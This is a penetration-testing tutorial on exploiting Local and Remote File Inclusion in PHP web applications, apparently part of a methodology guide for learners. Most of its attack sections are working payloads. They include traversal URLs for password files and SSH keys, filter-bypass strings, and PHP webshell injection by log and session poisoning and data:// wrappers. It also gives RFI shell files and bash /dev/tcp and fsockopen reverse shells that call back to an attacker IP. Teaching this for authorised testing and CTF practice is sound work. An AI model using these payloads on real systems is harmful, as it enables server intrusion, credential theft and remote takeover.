Web applications are built to serve content. Most of the time that means serving pages, images, and data that the developer chose to make available. Local File Inclusion and Remote File Inclusion happen when an attacker can influence which file the application serves — pointing it at files the developer never intended to expose, or at files the attacker controls entirely. What starts as reading a file ends, in the right conditions, as running code on the server.
🔰 Beginners: Every term gets defined before it is used. Work through this in order — the chaining techniques at the end only make sense after the foundation is set.
⚡ Seasoned practitioners: Jump to Real Worked Examples for the workflow reference.
Before you start — know these terms:
- LFI (Local File Inclusion) — the application loads a file from its own server based on user input. You manipulate that input to load files you should not have access to.
- RFI (Remote File Inclusion) — the application loads a file from a remote URL based on user input. You point it at a file you control on your own server — one containing malicious code.
- Path Traversal — the technique used inside LFI to navigate the server's file system, moving up and down directories to reach files outside the intended folder.
- Chaining — combining LFI with another vulnerability or technique to escalate from reading files to executing code.
- What Is File Inclusion — Plain English
- What Is Path Traversal
- Finding LFI Vulnerabilities
- What to Read With LFI
- LFI Filter Bypasses
- Chaining LFI to RCE
- Log Poisoning — The Most Common Chain
- PHP Session Poisoning
- LFI via PHP Wrappers
- Remote File Inclusion — RFI
- Tools for LFI Testing
- Real Worked Examples
- CTF vs Real World
Imagine a website that shows different pages based on a URL parameter:
http://target.com/index.php?page=home
http://target.com/index.php?page=about
http://target.com/index.php?page=contact
Behind the scenes the PHP code is doing something like this:
<?php
$page = $_GET['page'];
include($page . '.php');
?>Plain English: The application takes whatever you put in the page
parameter, adds .php to the end, and loads that file. This is
convenient for developers — one template file that loads different
content based on what page is requested.
The problem is that the developer assumed you would only ever type
home, about, or contact. They did not account for what happens
if you type something else entirely.
What a directory structure looks like on a server:
/var/www/html/ ← web root — files here are web accessible
index.php
home.php
about.php
contact.php
/etc/ ← system files — should NOT be web accessible
passwd ← list of system users
shadow ← password hashes (requires root to read)
hosts ← network host mappings
/var/log/ ← log files — should NOT be web accessible
apache2/
access.log ← every web request logged here
error.log
The developer intended the application to only serve files from
/var/www/html/. File inclusion vulnerabilities let you escape that
boundary and reach files anywhere on the server.
Plain English: Path traversal is how you navigate a file system
through a file inclusion vulnerability. It uses ../ — which means
"go up one directory level" — to climb out of the web root and reach
files elsewhere on the server.
Think of it like a building's floor directory. You are on floor 5
(the web root). ../ takes you to floor 4. ../../ takes you to
floor 3. Keep going and you reach the ground floor — the root of the
entire file system — where you can access any room in the building.
Starting location: /var/www/html/
../ → /var/www/
../../ → /var/
../../../ → /
../../../etc/passwd → /etc/passwd
In a URL:
# Normal request
http://target.com/index.php?page=home
# Path traversal to read /etc/passwd
http://target.com/index.php?page=../../../../etc/passwd
# The application builds: include('../../../../etc/passwd.php')
# If the .php extension is added automatically we need to handle that
# (covered in Filter Bypasses section)
💡 If path traversal returns nothing: The number of
../sequences needed depends on how deep the web root sits on the server. Try increasing the count — six, eight, or even ten levels before concluding the path is wrong. A failed attempt does not mean LFI is absent. It may mean you need more levels or a bypass — both are covered below.
Where to look:
Any parameter that appears to load content or pages is a candidate.
# URL parameters
?page=home
?file=document
?include=header
?view=profile
?template=default
?lang=en
?path=content
# Look for these patterns in URLs as you browse the application
# Anything that changes what content is displayed
Testing for LFI:
# Step 1 — try a single dot-dot-slash
http://target.com/index.php?page=../
# Step 2 — try to reach /etc/passwd
http://target.com/index.php?page=../../../../etc/passwd
# Step 3 — try more levels if Step 2 returns nothing
http://target.com/index.php?page=../../../../../../etc/passwd
http://target.com/index.php?page=../../../../../../../../etc/passwd
# Step 4 — try with URL encoding if basic attempts are blocked
http://target.com/index.php?page=..%2F..%2F..%2F..%2Fetc%2Fpasswd
# Step 5 — try with double encoding
http://target.com/index.php?page=..%252F..%252F..%252F..%252Fetc%252Fpasswd
# Step 6 — Windows targets use backslashes
http://target.com/index.php?page=..\..\..\..\windows\system32\drivers\etc\hosts💡 Still nothing after encoding attempts? Move to the Filter Bypasses section before assuming LFI does not exist. Many applications filter basic traversal strings but miss encoded or nested variants.
Confirming LFI:
If the contents of /etc/passwd appear in the page response — LFI
is confirmed. The file looks like this:
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
Each line is a system user. The format is:
username:password:userID:groupID:description:home:shell
The x in the password field means the actual password hash is stored
in /etc/shadow — a separate file that requires elevated privileges
to read.
Once LFI is confirmed, these are the files worth targeting. Work through them in priority order — credentials and keys first, then configuration files, then logs (which you will need for the chaining techniques later).
# ── Credentials and keys — highest priority ──────────────
/etc/passwd # system users list — always readable
/etc/shadow # password hashes — needs root
/home/username/.ssh/id_rsa # SSH private key — if found, you can SSH in
/root/.ssh/id_rsa # root SSH private key
/home/username/.bash_history # command history — reveals past activity
# ── Web application files — high priority ────────────────
/var/www/html/config.php # database credentials, API keys
/var/www/html/.env # environment variables with secrets
/var/www/html/wp-config.php # WordPress database credentials
/var/www/html/config/database.yml # Rails database config
# ── Server configuration ─────────────────────────────────
/etc/apache2/apache2.conf # Apache web server config
/etc/nginx/nginx.conf # Nginx config
/etc/ssh/sshd_config # SSH server configuration
/proc/self/environ # Current process environment variables
# ── Log files — needed for log poisoning ─────────────────
/var/log/apache2/access.log # Apache access log
/var/log/apache2/error.log # Apache error log
/var/log/nginx/access.log # Nginx access log
/var/log/auth.log # Authentication log
/var/log/syslog # System logC:\Windows\System32\drivers\etc\hosts
C:\Windows\win.ini
C:\xampp\htdocs\config.php
C:\inetpub\wwwroot\web.config
C:\xampp\apache\logs\access.log
C:\xampp\apache\logs\error.log
C:\Users\username\Desktop\
C:\Users\username\Documents\
💡 Cannot read a file? Check if the path exists first by trying known-good files like
/etc/passwdor/etc/hosts. If those work but your target file does not, the file may require higher privileges than the web server user has — move on and try other files rather than spending time on one that requires root.
💡 When to use these: A failed basic LFI attempt (
../../../../etc/passwdreturning nothing or an error) does not mean the vulnerability is not there. Try each bypass below in order before concluding LFI does not exist. Many CTF boxes and real applications filter the obvious patterns but miss encoded or nested variants.
Developers often add basic protections that can be bypassed:
Problem: The application adds .php to your input automatically:
include($_GET['page'] . '.php');
// Your input: ../../../../etc/passwd
// Result: include('../../../../etc/passwd.php')
// /etc/passwd.php does not exist — failsBypass — null byte (PHP < 5.3.4):
../../../../etc/passwd%00
# The %00 is a null byte — it terminates the string
# PHP stops reading at the null byte
# Result: include('../../../../etc/passwd')
💡 Null byte only works on older PHP versions (before 5.3.4). If it fails, try the PHP wrapper approach instead — it bypasses extension appending on any PHP version.
Bypass — use a PHP wrapper instead:
php://filter/convert.base64-encode/resource=/etc/passwd
# Returns base64 encoded content — no extension needed
# Works on modern PHP regardless of version
Problem: The application strips ../ from input:
$page = str_replace('../', '', $_GET['page']);Bypass — nested traversal:
....//....//....//etc/passwd
# After stripping ../ the string becomes: ../../../../etc/passwd
# The filter only runs once — nested sequences survive
💡 If nested traversal fails, the application may be running the filter in a loop. Try URL encoding next — it bypasses loop-based filters because the filter strips
../before the URL is decoded.
Bypass — URL encoding:
..%2F..%2F..%2Fetc%2Fpasswd
%2e%2e%2f%2e%2e%2f%2e%2e%2fetc%2fpasswd
Bypass — double URL encoding:
..%252F..%252F..%252Fetc%252Fpasswd
# Server decodes once → ..%2F..%2F
# Application decodes again → ../../../
💡 Still blocked after all bypasses? At this point LFI via direct path traversal may genuinely be mitigated. Pivot to PHP wrappers —
php://filterandphp://inputbypass most traversal filters entirely because they do not use file paths at all.
Reading files is valuable intelligence gathering. The real escalation is using LFI to execute code — turning a file read vulnerability into Remote Code Execution.
There are several paths from LFI to RCE. Try them in this order — log poisoning first as it is the most reliable, then session poisoning, then PHP wrappers:
Most reliable → Log poisoning
→ PHP session poisoning
→ PHP wrappers (php://input, data://)
Least reliable → RFI (requires allow_url_include = On)
Plain English: Web servers keep logs of every request they receive. Those logs record details like the URL requested, the time, and the browser identification string (called the User-Agent).
The User-Agent is whatever your browser tells the server it is. By
default it is something like Mozilla/5.0 (Windows NT 10.0...). But
you can set it to anything — including PHP code.
Log poisoning works like this:
Step 1 → Confirm you can read the log file via LFI
Step 2 → Send a request with PHP code in the User-Agent header
The server logs that PHP code into the access log
Step 3 → Use LFI to include the log file
The web server processes the log file as PHP
The PHP code in the log executes
Step 4 → You have RCE
Step 1 — Confirm log file access:
# Can you read the Apache access log?
http://target.com/index.php?page=../../../../var/log/apache2/access.log
# If the log contents appear — you can proceed
# You should see entries like:
# 127.0.0.1 - - [01/Jan/2026:12:00:00] "GET / HTTP/1.1" 200 -💡 Log file not found? Try common alternative paths:
/var/log/nginx/access.log,/var/log/httpd/access.log,/var/log/apache/access.log. On Windows tryC:\xampp\apache\logs\access.log. If no log file is readable, move to PHP session poisoning next.
Step 2 — Poison the log:
# Send a request with PHP code as the User-Agent
# Using curl to control the User-Agent header exactly
curl -H "User-Agent: <?php system(\$_GET['cmd']); ?>" \
http://target.com/
# The log now contains a line like:
# 127.0.0.1 - - [date] "GET / HTTP/1.1" 200 - "<?php system($_GET['cmd']); ?>"Step 3 — Execute commands via LFI:
# Include the poisoned log and pass a command
http://target.com/index.php?page=../../../../var/log/apache2/access.log&cmd=id
# The PHP in the log executes
# id output appears in the pageStep 4 — Get a reverse shell:
# Start your listener
nc -lvnp 4444
# Execute a reverse shell through the poisoned log
http://target.com/index.php?page=../../../../var/log/apache2/access.log&cmd=bash+-i+>%26+/dev/tcp/YOUR-IP/4444+0>%261💡 Log poisoning not working? The log file may have rotated (old entries deleted) or the web server may not be processing included log files as PHP. Try poisoning the auth log via SSH next, or move to PHP session poisoning.
Alternative log files to poison:
# SSH auth log — send PHP code as the SSH username
ssh '<?php system($_GET["cmd"]); ?>'@target.com
# Then include: /var/log/auth.log
# Mail log — if sendmail is running
# SMTP user field accepts the PHP code
# Then include: /var/log/mail.logPlain English: When you use a web application, the server creates
a session — a temporary record of who you are and what you are doing.
That session is stored in a file on the server, usually in /tmp/.
The session file is named after your session ID — the value in your
PHPSESSID cookie.
If the application stores any user-controlled value in the session — like a username or a preference — and you put PHP code there instead, that PHP code gets written into your session file. Then you include your session file via LFI and the PHP executes.
# Step 1 — find your session ID
# Look in browser developer tools → Application → Cookies → PHPSESSID
# Example: abc123def456
# Step 2 — identify a parameter that gets stored in the session
# Usually a username, language preference, or similar
# Set it to PHP code instead:
http://target.com/login.php?username=<?php system($_GET['cmd']); ?>
# Step 3 — your session file now contains that PHP code
# Session files live at: /tmp/sess_YOURSESSIONID
# Or: /var/lib/php/sessions/sess_YOURSESSIONID
# Step 4 — include your session file via LFI
http://target.com/index.php?page=../../../../tmp/sess_abc123def456&cmd=id
# Step 5 — get a reverse shell
http://target.com/index.php?page=../../../../tmp/sess_abc123def456&cmd=bash+-i+>%26+/dev/tcp/YOUR-IP/4444+0>%261💡 Session file not found? Try both common locations —
/tmp/sess_SESSIONIDand/var/lib/php/sessions/sess_SESSIONID. If neither works and the application does not store user input in the session, move to PHP wrappers next.
Plain English: PHP has built-in protocols called wrappers that let PHP scripts access different types of data sources. These wrappers can be abused in LFI scenarios to bypass restrictions and access data in different ways.
Think of them as special access passes that open different doors. Unlike path traversal, wrappers do not need to navigate the file system — they speak directly to PHP itself, which is why they bypass many traversal filters.
# Read a PHP file's source code without executing it
# (normally PHP files execute when included — this prevents that)
http://target.com/index.php?page=php://filter/convert.base64-encode/resource=config.php
# The page returns base64 encoded content
# Decode it to see the PHP source code
echo "BASE64_OUTPUT" | base64 -d
# Useful for reading configuration files that contain credentials
# and that would normally just execute when included💡 When to use php://filter: Use this first when the application adds
.phpautomatically — the wrapper bypasses extension appending. Also use it any time you want to read PHP source code without it executing. This is often the cleanest path to credentials in PHP apps.
# php://input reads from the POST body
# Send PHP code in the POST body and include php://input
curl -X POST "http://target.com/index.php?page=php://input" \
--data "<?php system('id'); ?>"
# Or for a reverse shell:
curl -X POST "http://target.com/index.php?page=php://input" \
--data "<?php system('bash -i >& /dev/tcp/YOUR-IP/4444 0>&1'); ?>"
# Start your listener first:
nc -lvnp 4444💡 php://input not working? It requires
allow_url_include = Onin PHP configuration. If it fails, trydata://next — it is self-contained in the URL and does not require that setting.
# Embed PHP code directly in the URL as a data URI
http://target.com/index.php?page=data://text/plain,<?php system('id'); ?>
# Or base64 encoded (more reliable — avoids URL character issues)
http://target.com/index.php?page=data://text/plain;base64,PD9waHAgc3lzdGVtKCdpZCcpOyA/Pg==
# PD9waHAgc3lzdGVtKCdpZCcpOyA/Pg== is base64 for: <?php system('id'); ?>
# Generate your own base64 payload
echo -n '<?php system($_GET["cmd"]); ?>' | base64
# Then use that output in the URL# Only works if PHP expect extension is installed — rare but exists
# Worth trying quickly before moving on
http://target.com/index.php?page=expect://id
http://target.com/index.php?page=expect://whoami💡 expect:// almost always fails on modern systems because the extension is not installed by default. Try it — it takes two seconds — but do not spend time debugging it. If it does not work immediately, move on.
Plain English: RFI is the more dangerous sibling of LFI. Where LFI reads files from the server's own file system, RFI loads a file from a URL you specify — including a URL pointing to your own machine.
This means you can host a file containing malicious PHP code on your own server, point the vulnerable application at it, and the application downloads and executes your code.
Why RFI is less common than LFI:
PHP has a configuration option called allow_url_include. When it is
set to On, PHP can include files from remote URLs — which enables
RFI. Modern PHP installations have this set to Off by default.
RFI requires allow_url_include = On to work.
💡 Testing for RFI quickly: Point the parameter at a URL you control and watch your web server logs. If a request arrives from the target — RFI is enabled. If nothing arrives after 5-10 seconds,
allow_url_includeis almost certainly off. Do not spend long on this — confirm fast and move on if it fails.
Confirming RFI is possible:
# Test if the application will load a remote URL
# Point it at a known good external URL and watch for a response
http://target.com/index.php?page=http://YOUR-IP/test.txt
# If the contents of test.txt appear in the page — RFI is possibleExploiting RFI:
# Step 1 — create a malicious PHP file on your machine
echo '<?php system($_GET["cmd"]); ?>' > shell.php
# Step 2 — serve it with Python's built-in web server
# Linux / macOS
python3 -m http.server 80
# Windows (PowerShell or Command Prompt)
python -m http.server 80
# If Python is not in PATH on Windows:
py -m http.server 80
# Step 3 — point the vulnerable application at your file
http://target.com/index.php?page=http://YOUR-IP/shell.php&cmd=id
# Step 4 — get a reverse shell
# Create a reverse shell PHP file
cat > revshell.php << 'EOF'
<?php
$sock=fsockopen("YOUR-IP",4444);
$proc=proc_open("/bin/sh -i",array(0=>$sock,1=>$sock,2=>$sock),$pipes);
?>
EOF
# Serve it and include it
http://target.com/index.php?page=http://YOUR-IP/revshell.php
# Start your listener first
nc -lvnp 4444# Basic LFI test
curl "http://target.com/index.php?page=../../../../etc/passwd"
# With URL encoding
curl "http://target.com/index.php?page=..%2F..%2F..%2F..%2Fetc%2Fpasswd"
# Log poisoning — set custom User-Agent
curl -H "User-Agent: <?php system(\$_GET['cmd']); ?>" \
"http://target.com/"
# Execute via poisoned log
curl "http://target.com/index.php?page=../../../../var/log/apache2/access.log&cmd=id"# Install — Linux / macOS / WSL2
git clone https://github.com/D35m0nd142/LFISuite.git
cd LFISuite
pip3 install -r requirements.txt
# Run
python3 lfisuite.py
# Windows — use WSL2 with Kali, then follow Linux instructions above# Install — Linux / macOS / WSL2
git clone https://github.com/P0cL4bs/Kadimus.git
cd Kadimus
make
# Scan for LFI
./kadimus -u "http://target.com/index.php?page=test"
# Exploit with log poisoning
./kadimus -u "http://target.com/index.php?page=test" \
--lhost YOUR-IP --lport 4444 -A log
# Windows — use WSL2 with Kali, then follow Linux instructions above💡 Which tool to use when: Start manual with curl — it is the fastest way to confirm and understand what is happening. Move to LFISuite or Kadimus when you need to automate the chaining steps or test many bypass variants quickly.
Scenario: A web application with a file parameter that loads
PHP files. The application is running on FreeBSD.
# Step 1 — identify the parameter
http://target.com/browse.php?file=listfiles.php
# Step 2 — test for LFI
http://target.com/browse.php?file=../../../../etc/passwd
# /etc/passwd contents appear — LFI confirmed
# Step 3 — read web application files for credentials
http://target.com/browse.php?file=php://filter/convert.base64-encode/resource=index.php
# Base64 decode the output to read source code
echo "OUTPUT" | base64 -d
# Step 4 — find credentials in source
# config.php or similar often contains database credentials
# Step 5 — read SSH private keys
http://target.com/browse.php?file=../../../../home/charix/.ssh/id_rsa
# If readable — save and use to SSH in
chmod 600 id_rsa
ssh -i id_rsa charix@target.comScenario: LFI confirmed, Apache log file readable.
# Step 1 — confirm log access
curl "http://target.com/index.php?page=../../../../var/log/apache2/access.log"
# Log entries appear in page
# Step 2 — poison the log
curl -H "User-Agent: <?php system(\$_GET['cmd']); ?>" \
http://target.com/
# Step 3 — confirm code execution
curl "http://target.com/index.php?page=../../../../var/log/apache2/access.log&cmd=id"
# uid=33(www-data) appears in page
# Step 4 — get a reverse shell
nc -lvnp 4444
curl "http://target.com/index.php?page=../../../../var/log/apache2/access.log&cmd=bash+-i+>%26+/dev/tcp/YOUR-IP/4444+0>%261"Scenario: LFI exists but the application adds .php extension
automatically. Need to read config files without executing them.
# Step 1 — use php://filter to base64 encode before inclusion
curl "http://target.com/index.php?page=php://filter/convert.base64-encode/resource=config"
# Returns base64 string
# Step 2 — decode it
echo "RETURNED_BASE64" | base64 -d > config.php
cat config.php
# Step 3 — extract credentials from config
grep -i "password\|user\|db\|key" config.phpPractice targets:
- HackTheBox — Poison (LFI to credential disclosure)
- HackTheBox — Nineveh (LFI chaining)
- HackTheBox — Olympus (LFI to RCE)
- DVWA — File Inclusion module (beginner friendly)
- PentesterLab — Local File Inclusion exercises
| CTF | Real Engagement | |
|---|---|---|
| Finding LFI | Usually obvious — intended path | Requires thorough parameter testing |
| Path depth | Usually 4-6 levels | Varies — always try more levels |
| Log poisoning | Common technique | May be blocked by WAF or log rotation |
| RFI | Occasionally enabled | Rare — allow_url_include usually off |
| Wrappers | PHP filter frequently useful | Depends on PHP configuration |
| Credential files | Read config.php for database creds | Scope limited — document carefully |
| SSH keys | Read and use them | Only if explicitly in scope |
| When to move on | After trying all bypass variants | Same — document attempts and pivot |
| Documentation | Notes | Full evidence capture required |
| Resource | What It Covers |
|---|---|
| RCE | What to do once you have code execution |
| Manual Exploitation | Running LFI exploits manually |
| Shells | Turning LFI RCE into a stable shell |
| Evasion | Bypassing WAF on LFI attempts |
| Vuln Research | Finding LFI CVEs |
by SudoChef · Part of the SudoCode Pentesting Methodology Guide